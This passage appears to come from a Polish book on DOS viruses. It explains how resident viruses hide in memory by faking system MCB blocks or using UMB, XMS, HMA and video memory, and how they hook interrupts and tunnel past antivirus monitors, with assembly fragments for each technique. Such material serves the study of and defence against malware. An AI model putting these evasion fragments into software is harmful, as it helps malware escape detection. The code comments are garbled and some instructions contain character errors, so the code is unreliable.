Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu (48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe, na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD' [odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang. System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca sekwencja:
; Tworzenie sztucznego bloku systemowego
MOV BX,ROZMIAR ; BX = rozmiar ┐╣danej pamiÛci
MOV AH,48h ; funkcja DOS - przydziel pamiÛµ
INT 21h ; wywo│aj funkcjÛ DOS
JC BLAD ; Je£li CF=1 to b│╣d, AX=segment pamiÛci
DEC AX ; AX-1=segment z nag│¾wkiem MCB (w│a£cicielem
; bloku amiÛci)
MOV DS,AX ; DS = segment MCB
MOV DS:[l],0008h ; zmie± MCB na systemowy
Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki temu można powiększyć pewien blok wykorzystywany przez system lub programy rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h. Sekwencja realizująca to zadanie wygląda następująco:
; PowiÛkszenie jednego z blok¾w ju┐ u┐ytych
MOV AH,52H ; funkcja DOS - weƒ adres do listy list (LL)
INT 21H ; wywo│aj funkcjÛ DOS
MOV DX,ES:[BX-2] ; AX==adres segmentowy pierwszego MCB
NAST╩PNY:
mov es,dx ; DS wskazuje na sprawdzany blok mcb
mov cl, byte PTR ES:[O] ; zachowaj znacznik nag│¾wka MCB
MOV BX,ES:[3] ; pobierz rozmiar bloku
INC DX ; DOS wymaga adresu o l wiÛkszego od MCB
MOV ES,DX ; ES wskazuje na blok pamiÛci
ADD DX,BX ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB
ADD bx, rozmiar ; dodaj rozmiar wirusa (w paragrafach 16-bajtowych)
MOV AH,4Ah ; spr¾buj zmieniµ rozmiar bloku
INT 21h ; wywo│aj funkcjÛ DOS
JNC JESTBLOK ; je£li CFl, uda│o siÛ zmieniµ blok
CMP CL, Z ; czy ostatni blok ?
JNE NASTEPNY ; sprawdƒ nastÛpny blok
OSTATNI: ; nie uda│o siÛ powiÛkszyµ ┐adnego bloku
...... ; czÛ£µ kodu wirusa, wykonuj╣ca
; siÛ, gdy nie znaleziono bloku
JESTBLOK:
...... ; uda│o siÛ powiÛkszyµ blok, adres do niego jest w ES
Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu następującej sekwencji w asemblerze:
; Do│╣czanie pamiÛci UMB do │a±cucha UMB i zmiana strategii przydzia│u pamiÛci
MOV AX,5800h ; funkcja - pobierz aktualn╣ strategiÛ
INT 21h ; wywo│aj funkcjÛ DOS
PUSH AX ; zachowaj odczytane strategiÛ
MOV AX,5802h ; weƒ informacjÛ o do│╣czeniu pamiÛci UMB
INT 21h ; wywo│aj funkcjÛ DOS
PUSH AX ; zachowaj informacjÛ na stosie
MOV AX,5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha MCB MOV BX,1 ; podfunkcja - do│╣cz bloki
INT 21h ; wywo│aj funkcjÛ DOS
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci
MOV BX,82h ; nowa strategia (UMB+ostatni spe│niaj╣cy warunek)
INT 21h ; wywo│aj funkcjÛ DOS
....... ; operacje na blokach MCB (na ca│ym ich │a±cuchu)
POP BX ; weƒ pierwotn╣ informacjÛ o do│╣czeniu pamiÛci UMB
XOR BH,BH ; podfunkcja - do│╣cz bloki lub od│╣cz zale┐nie od BL MOV AX, 5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha mcb INT 21H ; wywo│aj funkcjÛ DOS
POP BX ; przywr¾µ pierwotn╣ strategiÛ
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci wg BX
INT 21h ; wywo│aj funkcjÛ DOS
Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże wykryć intruza.
Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku UMB za pomocą funkcji XMS ilustruje poniższa sekwencja:
; Wykorzystanie mechanizm¾w XMS do przydzia│u bloku UMB
MOV AX,4300H ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS?
JNE NieMaXMS ; skocz, je£li nie jest zainstalowany
MOV AX,4310H ; funkcja - weƒ adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS
MOV [PROCOFS],BX
MOV AH,10h ; funkcja XMS - przydziel pamiÛµ UMB
MOV DX,rozmiar ; podaj ilo£µ ┐╣danej pamiÛci w paragrafach
CALL [PROCSEG] ; wywo│aj procedurÛ mened┐era XMS
CMP AX,l ; je£li nie ma b│Ûdu, to AX-1
JNE BLAD ; skocz, Je£li AX<>1
; BX = adres przydzielonego bloku
5.4. Instalacja w pamięci HMA
Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres 10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS, aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS).
Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci następującej sekwencji:
; Przydzia│ fragmentu pamiÛci HMA
MOV AX,4A01h ; funkcja - sprawdƒ ilo£µ wolnej HMA
INT 2Fh ; wywo│aj przerwanie multipleksowane BX = ilo£µ wolnej
; pamiÛci HMA w bajtach,
; ES:DI wskazuje na wolny obszar HMA
CMP BX, ROZMIAR ; czy jest odpowiednia ilo£µ pamiÛci
jb NieMaHMA ; je£li mniej, to nie przydzielaj
MOV AX, 4A02h ; funkcja - przydziel pamiÛµ HMA
MOV BX, ROZMIAR ; rozmiar ┐╣danej pamiÛci
INT 2Fh ; wywo│aj przerwanie multipleksowane
; BX = ilo£µ przydzielonej pamiÛci HMA w paragrafach
; ES:DI wskazuje na przydzielony obszar HMA
NieMaHMA:
Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA (ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS (najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie:
; Przydziel ca│e pamiÛµ HMA programowi
MOV AX,4300h ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS ?
JNE NieMaXMS ; skocz, je£li nie jest zainstalowany
MOV AX,4310h ; funkcja - weƒ adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS
MOV [PROCOFS],BX
MOV AH,l ; funkcja XMS - przydziel pamiÛµ HMA
MOV DX,ROZMIAR ; podaj ilo£µ ┐╣danej pamiÛci w bajtach
CALL [PROCSEG] ; wywo│aj procedurÛ mened┐era XMS
CMP AX, l ; je£li nie ma b│Ûdu, to AX=1
JNE BLAD ; skocz, je£li AX1
5.5. Nietypowe metody instalacji
5.5.1. Pamięć ekranu
Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są dane dla trybów tekstowych ekranu.
5.5.2. Bufory dyskowe DOS
Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie zmniejsza długości pamięci dostępnej dla programów użytkownika.
Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory 80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu 0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów) w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF.
ROZDZIAŁ 6
6.1. Najczęściej przejmowane i wykorzystywane przerwania
Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania:
> 01h - Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala wykryć uruchomiony debugger.
> 03h - Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod 0CCh) stosowana przez debuggery;
powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony debugger.
> 08h - Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych, rzadziej do autoweryfikacji wirusa.
> 09h - Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję (4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla funkcji przerwania 16h. Podobnie Jak IRQ O, przerwanie 09h używane jest zwykle do efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza).
> 10h - Przerwanie programowe BIOS obsługujące funkcje ekranu;
używane do efektów specjalnych lub w celu informowania innych kopii wirusa o obecności w pamięci.
> 12h - Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej systemowej BIOS, znajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci dostępnej dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować przerwania, a tylko zmodyfikować wyżej wymienioną zmienną BIOS. Czasem przerwanie 12h przejmowane jest w celu informowania innych kopii wirusa o obecności w systemie.
> 13h - Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej podczas infekcji
przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie innych kopii wirusa o obecności w systemie.
> 14h - Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych. Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na przekłamywaniu odczytów7 i zapisów złącza.
> 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie umożliwia zastosowanie techniki hardware-level stealth.
> 16h - Przerwanie programowe BIOS odpowiedzialne za obsługę klawiatury. Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii wirusa o obecności w pamięci.
> 17h - Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych znaków.
> 1Ch - Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę przerwania IRQ 0).
> 21h - Przerwanie programowe DOS odpowiedzialne m.in. za obsługę dysków logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem. Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy, uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji często służą innym kopiom wirusa do sprawdzania jego
obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej wymieniona operacja wykonywana jest niejako przy okazji).
> 24h - Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang. Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one następująco:
Typowa procedura obs│ugi przerwania int 24h u┐ywana podczas infekcji
MOV AL,3 ; sygnalizuj b│╣d programowi (czyli wirusowi)
IRET ; powr¾t 2 obs│ugi przerwania
> 25h - Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego odczytywania BOOT-se-ktorów.
> 26h - Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą je konie trojańskie do destrukcji.
> 27h - Przerwanie programowe DOS. Umożliwia zakończenie programu z pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR, nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji (31/21) można napisać prostego wirusa rezydentnego.
> 28h - Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus DOS-IDLE.
> 2Fh - Przerwanie multipleksowane systemu. Ze względu na różnorodność wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania 13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji (1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table), w których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku.
> 30h/31h - W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS, gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu systemu DOS, ale może być podmieniony przez program antywirusowy). Adres wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje m.in. wirus DIR-2).
> 40h - Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości BIOS-ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na 40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z pominięciem przerwania 13h.
> 76h - Przerwanie sprzętowe IRQ 14, generowane przez sterownik dysku twardego przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do ukrywania się w systemie.
Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy-
wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania, czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już zainstalowany, ma najczęściej postać:
MOV AX.HASúO ; najczÛ£ciej w AX podaje siÛ jak╣£ nie typow╣ funkcjÛ
INT xx ; xx - numer przerwania (najczÛ£ciej 21h)
CMP REJ,ODPOWIEDÅ ; czy wirus ju┐ zainstalowany (rej - najczÛ£ciej AX)
JE Ju┐Zainstalowany ; skok, gdy zainstalowany wirus zwr¾ci│ odpowiedƒ
........... ; zainstaluj siÛ
Ju┐Zainstalowany: ; powr¾µ do nosiciela
Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa. Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez programy uruchomieniowe. Zwykle po wykryciu, iż adres procedury obsługi któregoś z tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku twardym. Jeszcze inne niebezpieczeństwo
może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.: 10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie odwetowe.
Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do wykrycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku.
6.2. Wykorzystanie funkcji DOS
Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze:
; Przejmowanie przerwa± za pomoce DOS-a
MOV AL, NUMER ; podaj w AL numer przerwania
MOV AH, 35h ; w AH numer funkcji, weƒ adres starej procedury
; obs│ugi przerwania
INT 21h ; wywo│aj funkcjÛ DOS po wywo│aniu funkcji
MOV [StarySEG],ES ; w ES:BX pobrany adres poprzedniej procedury
MOV [StaryOFS],BX ; obs│ugi, kt¾ry najczÛ£ciej zapamiÛtuje siÛ
MOV AH, 25h ; w AH numer funkcji, ustaw now╣ procedurÛ obs│ugi
; przerwania
MOV AL,NUMER ; w AL numer przerwania
MOV DS, SEG Nowa ; DS:DX zawiera adres do nowej procedury
MOV DX, OFFSET Nowa ; obs│ugi przerwania
INT 21h ; wywo│aj funkcjÛ DOS
Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy, stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę innych, omówionych poniżej.
6.3. Bezpośrednie zmiany w tablicy wektorów przerwań
Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z poprzedniego punktu:
: Przejmowanie przerwa± bezpo£rednio w tablicy przerwa±
MOV BL, NUMER ; w BL numer zmienianego przerwania
XOR BH,BH ; BX=BL
SHL BX,l ; pomn¾┐ je przez 4 (2 razy przesu± w lewo)
SHL BX,l ; jeszcze raz przesu± w lewo
XOR AX,AX ; zeruj rejestr AX
MOV DS,AX ; i z jego pomoc╣ zeruj rejestr segmentu DS
; DS:BX wskazuje na pozycjÛ w tablicy przerwa±,
; gdzie zapisany jest adres obs│ugi przerwania
LDS DX,DS:[BX] ; pobierz segment i offset przerwania (do
; zapamiÛtania)
MOV [StarySEG],DS ; zachowaj segment
MOV [StaryOFS],DX ; zachowaj offset
MOV DS,AX ; ponownie DS=0
CLI ; bezpiecznie zmieniaµ adres obs│ugi przerwania
; przy wy│╣czonych przerwaniach
MOV DS:[BXJ,OFFSET NOWA ; bezpo£rednie warto£ci wskazujÛ
; na adres nowej
MOV DS:[BX+2], SEG NOWE ; procedury obs│ugi przerwania
STI ; teraz mo┐na ju┐ w│╣czyµ przerwania
Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż jednego przerwania za pomocą tej samej procedury (należy zmieniać tylko wartość BL).
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie czystych wejść do systemu (ang. tunnelling)
Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez najprymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem.
Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn. wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim wykryciem przez monitor antywirusowy Najlepiej, gdy wywoływana przez wirusa procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest to po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie.
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh)
Ta metoda tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu DOS). Wykorzystuje ona fakt, iż system DOS posiada w swym pierwszym bloku MCB (oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu przerwań 21h i 2Fh), która została przedstawiona poniżej.
Sekwencja kodu występująca w DOS od 5.0 wzwyż
|
DOS używa HMA |
DOS nie używa HMA |
|||
|
Adres |
Kod |
Znaczenie |
Kod |
Znaczenie |
|
SEG:OFS |
90 90 |
NOP NOP |
EB 03 |
JMP $+3 |
|
SEG:OFS+2 |
E8 xxxx |
CALL [IP+xxxx] |
E8 xxxx |
CALL [IP+xxxx] |
|
SEG:OFS+5 |
2E FF 2E yyyy |
JMP FAR CS:[yyyy] |
2E FF 2E |
JMP FAR CS:[yyyy] |
Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej 6.22 (np. DOS 7.0, występujący z systemem Windows 95).
W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh (dla wersji 7.00).
Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h, korzystając z następującej sekwencji:
MOV AH,30H ; funkcja - weƒ wersjÛ systemu
INT 21h ; wywo│aj funkcjÛ
XCHG AL,AH ; zabieg kosmetyczny - aby p¾ƒniejsze
; por¾wnanie by│o bardziej przejrzyste
MOV BX,109EH ; offset dla wersji 5.00 - 6.22
CMP AX,0500h ; czy wersja
JB NIEDZIAúA ; je£li tak, to tunneling nie dzia│a
CMP AX,0622h ; czy wersja wiÛksza od 6.22 ?
JB Wer5_6_22
MOV BX,OFB2h ; nowsze wersje DOS - inny offset
Wer5_6_22:
PUSH BX ; zachowaj offset na stosie
MOV AH,52h ; funkcja - podaj adres do LL
INT 21h ; wywo│aj funkcjÛ
POP BX ; teraz ES:BX wskazuje na sekwencjÛ z tabeli
CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ?
JE JEST ; jest czÛ£µ sekwencji
CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
JEST:
CMP BYTE PTR ES:[BX+2],OE8h; czy druga czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tunelling nie dzia│a
; znaleziona pe│na sekwencja
MOV BX,WORD PTR ES:[BX+8]
LES BX,DWORD PTR ES:[BX] ; ES:BX wskazuje na oryginalny adres int 21h
NIEDZIALA:
Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh.
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)
